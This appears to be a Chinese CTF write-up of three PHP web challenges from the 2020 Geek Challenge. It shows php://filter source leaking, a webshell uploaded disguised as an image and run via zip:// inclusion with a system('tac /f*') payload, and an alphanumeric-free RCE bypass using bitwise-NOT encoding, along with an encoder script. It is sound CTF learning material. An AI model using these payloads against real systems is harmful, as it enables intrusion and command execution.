极客大挑战2020(部分wp)

发布于:2025-08-01 ⋅ 阅读:(15) ⋅ 点赞:(0)

Roamphp1-Welcome

在这里插入图片描述
405请求方法不允许,改一下请求方法
在这里插入图片描述
数组绕过,在页面搜索flag即可!本题:就是知道了405是请求方法不允许!

Roamphp2-Myblog(zip协议加文件包含)

在这里插入图片描述
首先进来就是一个博客页面,注意一下url那地方有些可疑,通过page来切换页面估计是文件包含,后缀在后端添加了!用php伪协议把源码给趴下来!

http://3ac4e25d-0f61-46d7-a807-0156c854dee6.node5.buuoj.cn:81/index.php?page=php://filter/convert.base64-encode/resource=login

<?php
require_once("secret.php");
mt_srand($secret_seed);
$_SESSION['password'] = mt_rand();
?>

同理其它的

<?php
error_reporting(0);
session_start();
$logined = false;
if (isset($_POST['username']) and isset($_POST['password'])){
	if ($_POST['username'] === "Longlone" and $_POST['password'] == $_SESSION['password']){  // No one knows my password, including myself
		$logined = true;
		$_SESSION['status'] = $logined;
	}
}
if ($logined === false && !isset($_SESSION['status']) || $_SESSION['status'] !== true){
    echo "<script>alert('username or password not correct!');window.location.href='index.php?page=login';</script>";
	die();
}
?>

这里把前端的cookie(通过cookie来验证的)给删了然后密码置为空就好了!
在这里插入图片描述
进到后台这里有个文件上传的功能,这里是白名单(也是源码里面写了的我没放出来)没法打文件上传好像。这里就是结合文件包含打zip协议了!

访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。
zip:// [压缩文件绝对路径]#[压缩文件内的子文件名]

那么我们先压缩我们的php马,然后在把zip改成jpg利用即可!

?page=zip://./assets/img/upload/368d066d6c9103bba3e2e41338d2cad19e2f367b.jpg%231
POST : a=system(“tac /f*”);

本题:隐藏后缀名+如果能上传图片马是可以配合文件包含去打的(突然理解了之前别人说的,图片马要结合文件包含去利用的意思了)!

Roamphp4-Rceme(nb的函数调用)

在这里插入图片描述
vim缓存信息泄露,直接访问.index.php.swp。然后把下载好的文件拖到kali里面,用vim -r index.php.swp进行恢复!得到源码!

<?php
error_reporting(0);
session_start();
if(!isset($_SESSION['code'])){
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        //获得验证数字
}
 
if(isset($_POST['cmd']) and isset($_POST['code'])){
 
        if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
                
                die('<script>alert(\'Captcha error~\');history.back()</script>');
        }
        $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
        $code = $_POST['cmd'];
        if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
                //修正符:x 将模式中的空白忽略; 
                die('<script>alert(\'Longlone not like you~\');history.back()</script>');
        }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
                @eval($code);
                die();
        }

简单来说就是:
1.code经过md5加密后的前5个字符要等于session 的code

2.cmd长度不能超过70且不能被正则匹配到

3.匹配括号内的内容替换成空格后结果为;(buhsi,这个正则我看了好久。还是解释一下吧!/[^\s()]+?((?R)?)/就是先匹配非空白字符或者非括号是非贪婪模式然后再加一个递归匹配。

(?R) 是递归引用,表示 整个正则表达式本身。? 表示 前面的 (?R) 是可选的(可以匹配 0 次或 1
次)。这使得递归可以终止(否则会无限递归)。

然后这其实就是无参数rce加无字母数字rce!这里用的是取反,其他用不了,至于为啥,自己想想!
先phpinfo()试一下吧!这里有一点就是不能用(phpinfo)();这种了,因为过不了正则。然后就是在php7中:

[‘phpinfo’][0]()
[‘phpinfo’]{0}()

是和(phpinfo)()一样的效果!是因为短数组语法:[‘phpinfo’]等同于array(‘phpinfo’)传统数组的定义方法。所以[phpinfo][0]();等价于phpinfo();
发现是可以的!!!然后这里我们开始构造命令,我这里就为了方便直接读flag了!
在这里插入图片描述

一些解释:
cmd用的是system(end(getallheads())),就是我手动把ua的位置弄到了最后,这样end就可获取到写在ua里面的命令了!然后一些wp说用next,但是我ua不在第二个元素啊,好像也弄不到第二个!getallheads()函数返回请求头的信息

这里就用var_dump(getallheads());来看看
在这里插入图片描述
最后贴个取反用的脚本吧:

<?php
$a=urlencode(~'system');
echo "[$a]"."[~%FF]";
echo "\n";
$b=urlencode(~'getallheaders');
echo "[$b]"."[~%FF]";
echo "\n";
$c=urlencode(~'end');
echo "[$c]"."[~%FF]";
$d=urldecode('%CF');
echo ~$d;
?>

本题:1,.index.php.swp泄露然后再kali里面用vim -r index.php.swp命令来恢复!
2,md5每次发包后都会变,这是写在源码里面的
3,php7的nb函数调用绕过正则,[phpinfo][0]();等价于phpinfo();
4,取反绕过无字母数字rce


网站公告

今日签到

点亮在社区的每一天
去签到